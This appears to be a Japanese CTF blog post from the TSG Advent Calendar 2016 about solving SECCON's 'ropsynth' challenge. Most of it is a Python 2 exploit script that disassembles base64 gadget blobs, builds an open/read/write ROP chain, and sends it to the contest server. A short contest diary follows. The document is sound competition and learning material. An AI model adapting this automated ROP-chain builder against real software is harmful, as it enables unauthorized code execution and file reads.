0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww== """ import base64 def b642asm(s): with open('ob.txt','w') as fp: fp.write(s) os.system('base64 -d < ob.txt > bin') os.system('objdump -D -Mintel,x86-64 -b binary -m i386 bin > objd.txt') with open('objd.txt','r') as fp: ss = fp.readlines() return ss size_t = 0x8 #x64かx86か。sizeof(void*) の値で。 def addr2s(x): res = "" for i in xrange(size_t): res += chr(x % 256) x /= 256 return res def s2hex(s): return map(lambda c: hex(ord(c)),s) def s2addr(s): res = 0 for i in xrange(size_t): res *= 256 res += ord(s[size_t-i-1]) return res def b642rop(s): print s ss = b642asm(s) ss = map(lambda x: x.split('\t'),ss) ss = filter(lambda x: len(x)==3,ss) ss = map(lambda x: (x[0],x[2]),ss) for d in ss: pass #print d res = [] nd = [] #rdi rsi rax for d in ss: if d[1]=='hlt \n': continue #if 'rdx' in d[1]: #rdi rsi rdx rax # print d nd.append(d) if d[1]=='ret \n': res.append(nd) nd = [] dat = {} for i,ds in enumerate(res): gyo = ds[0][0] for g,d in ds: if 'rdi' in d: dat['rdi']=i break elif 'rsi' in d: dat['rsi']=i break elif 'rdx' in d: dat['rdx']=i break elif 'syscall' in d: dat['sys']=i break elif 'pop' in d and 'rax' in d: dat['rax']=i break print dat # 0x00800000: gadgets # 0x00a00000: data region #2 0 1 def tadd(x,q): return (x - q) def tsub(x,q): return (x + q) def txor(x,q): return x ^ q def call(qs,x=-1): dx = res[dat[qs]] tp = addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) ress = "" #addr2s(int(res[dat[qs]][0][0][:-1],16) + 0x00800000) nx = -1 for d in dx[::-1]: if 'je' in d[1]: continue if 'ret' in d[1]: continue if 'syscall' in d[1]: continue elif 'push' in d[1]: continue elif 'cmp' in d[1]: nx = int(d[1].split(',')[1],16) #print d[1],hex(nx) elif 'pop' in d[1]: #print d[1] if 'rdx' in d[1] or 'rdi' in d[1]: continue elif qs in d[1]: ress = addr2s(x) + ress continue else: ress = addr2s(nx) + ress continue else: if 'add' in d[1]: nx = tadd(nx,int(d[1].split(',')[1],16)) elif 'sub' in d[1]: nx = tsub(nx,int(d[1].split(',')[1],16)) elif 'xor' in d[1]: nx = txor(nx,int(d[1].split(',')[1],16)) else: print 'undefined!!' print d[1] ress = tp + ress return ress da_reg = 0x00a00000 buf = 0x00a00010 #print res[dat['rsi']][0][0] #rops = addr2s(int(res[dat['rsi']][0][0][:-1],16) + 0x00800000) rops = "" rops += call('rsi',0) rops += call('rax',0) rops += call('rdx') rops += call('rax',da_reg) rops += call('rdi') rops += call('rax',2) rops += call('sys') rops += call('rdi') rops += call('rsi',buf) rops += call('rax',256) rops += call('rdx') rops += call('rax',0) rops += call('sys') rops += call('rdx') rops += call('rax',1) rops += call('rdi') rops += call('rsi',buf) rops += call('rax',1) rops += call('sys') rops = base64.b64encode(rops) return rops #coding: utf-8 from socket import * import time #sudo gdb -q -p `pidof -s execfile` -x gdbcmd #socat TCP-L:10001,reuseaddr,fork EXEC:./execfile #./../../tools/rp-lin-x86 -file=mylibc --rop=3 --unique > mygads.txt nsq = """ 9FhBW0mB82cGQmBJgftIHOgPdAj09PT09PT09FtIges7e1NoSIHrWFk6ekiB8xzig3tIgcM7+qsxSIHrz/I7e0iB81oFc1JIgfuEO8k8dAX09PT09FlIgfGvyShwSIHxHuazekiB6cvN+mBIgelrqc9FSIHpMlCXNEiB8REPtntIgfHggxp5SIH5lbj6F3QG9PT09PT0w/T09PT09A8FQVtJgcOofuUJSYHDD8+jPEmBwwJcDUtJgfNs8bUrSYHzDglqX0mB8xwKT0hJgcNKw6MmSYH78k2mNXQD9PT0QV9Jge+tN8R4SYH/ATtWbHQC9PRBX0mB76kCGmZJgff5zo4XSYH/ZIIpa3QD9PT0XUiB7U5KoTFIge1p9+kPSIH1S19ZJUiB/WxfYlR0CfT09PT09PT09EFdSYH1Gc72RkmB7TMuiDBJge0hFT4WSYHFjghODkmBxfKcEyFJgf3tcJskdAn09PT09PT09PRBXkmBxmTIvSVJge4h/zJQSYHGLx6KY0mBxk9j9m5JgfbB1OtQSYHG4dgBZEmB/vdCFkh0BfT09PT0w/T09PT09PT0UF9BW0mB62VPohRJgcNQB+F8SYHzilY1EUmBw11X2ztJgevF899GSYHD0S7/HkmB81Fx6zxJgfs4aFIQdAf09PT09PT0W0iB8zgTuVJIgcND9EB+SIHrt4HJNEiB+wuG/Rp0BvT09PT09EFbSYHzKXswNEmBwys95S1JgfN0JJwESYHzntvLe0mB83LspzlJgevcmap1SYH7K6knanQG9PT09PT0QVxJgewZbFsJSYHEdGNDIkmB9CHFgiBJgfSfAfASSYHsWIwmA0mBxNGPPRlJgfzgBI9GdAP09PRZSIHxjATBZEiBwRm+xDlIgfGGJNsdSIH5RJcmR3QH9PT09PT09EFbSYHzppG5ekmBw8S1JRtJgetRkAglSYHzM6XTKEmB8+NWWEhJgfOfJ69XSYHrk0VeU0mB684LQm1JgfuClwoYdAX09PT09MP09PT09PReQVxJgew+0d0xSYH0SfpzP0mBxDYI6B9Jgfye494vdAb09PT09PRdSIHF+p0LP0iB7aaVowJIgf2Uf4RudAL09FtIgevdtjh8SIHDPXmWAUiB8ySRhlBIgcNCSWoUSIHzVTc+S0iB+8tFWjx0BPT09PRbSIHz92qaH0iB66rs/0BIgfv2NToFdAP09PRBXkmBxlpU70VJgca5sQsPSYHGPiQzYUmB7slTjTNJgf7Nkh8PdAX09PT09EFfSYHvj0StVkmBx6cZ+DJJgccBH6dXSYHv2ny6KkmBx+25lGdJgcd3FwUNSYHHQg95IEmB/3ZCAhB0A/T09EFbSYHDETU7fkmB+8vTNzN0A/T09EFcSYH0WPxJFUmB7H51U3FJgfSos6piSYH8uOLbd3QI9PT09PT09PTD9PT09PT09FBaQVtJgfMZdYsTSYHzRmFXZEmB69j//kVJgcOeGzQWSYHz2HCCYkmB8/LDMmRJgfNQepVVSYHDWtRaPkmB++0/si90BPT09PRBXEmB9I2Gh39JgfR/w1QhSYHE7QHCJ0mB/A8Xuil0CfT09PT09PT09EFdSYH1CRy5aEmB9XPKLW1Jge1w1V4CSYH9iaJZWnQH9PT09PT09EFfSYHvUBc6UUmBx1y7ET1JgceG1AVSSYHH287RV0mB75OGoWVJgfeFoIB+SYH3WvCDR0mBx5B3jWRJgf9HgbgsdAT09PT0ww== """ print b642rop(nsq) isgaibu = False isgaibu = True sock = socket(AF_INET, SOCK_STREAM) if isgaibu: sock.connect(("ropsynth.pwn.seccon.jp", 10000)) #raw_input('gdb$') else: sock.connect(("localhost", 10001)) raw_input('gdb$') for i in xrange(5): time.sleep(1) #s = sock.recv(4096) #print s.split('\n') s = sock.recv(4096) print s.split('\n') r = b642rop(s.split('\n')[-2]) print r sock.send(r+'\n') for i in xrange(10): print sock.recv(1024)
大会中
chatを解き終わって9時をそれなりに回っていて、あと何をしようか、と相談するとこれを勧められる。
objdumpの結果を見るに、それなりにどうにかなりそうだと思えたので本腰をいれていく。
ROPの実行される状況とかをmoratorium氏に聞いたりしつつ、がりがりコードを書いていく。
こないだのHITCONのMOREでも似たような状況(moratorium氏と一緒にやっていて、プログラミングゲーで、それなりに残り時間がない)に陥っていたなー、とか思ったり、『Here is the flag! といってフラッグがこないだみたいな感じで降ってきたらやですねー』(縁起でもない!!)みたいなことを話したりしながら書いていく。
最初に書きあげて出すとNGと言われ、与えられたファイルを使って、手元で再現できるようにデバッグしたりする。(alarmを潰したりした)
終了10分前くらいに通ったので非常に気持ちがよかった。
感想
jmperとchatにあまりにも時間がかかってしまった。あんなに泥沼にはまるとは思っていなかった。
手元でデバッグできる環境はとても大事であることが分かったので次回からはもっとうまくやっていきたい。
大事なことをすっかり忘れていたので追記
この記事は、TSG Advent Calendar 2016 - Adventarの12日目の記事として書かれました。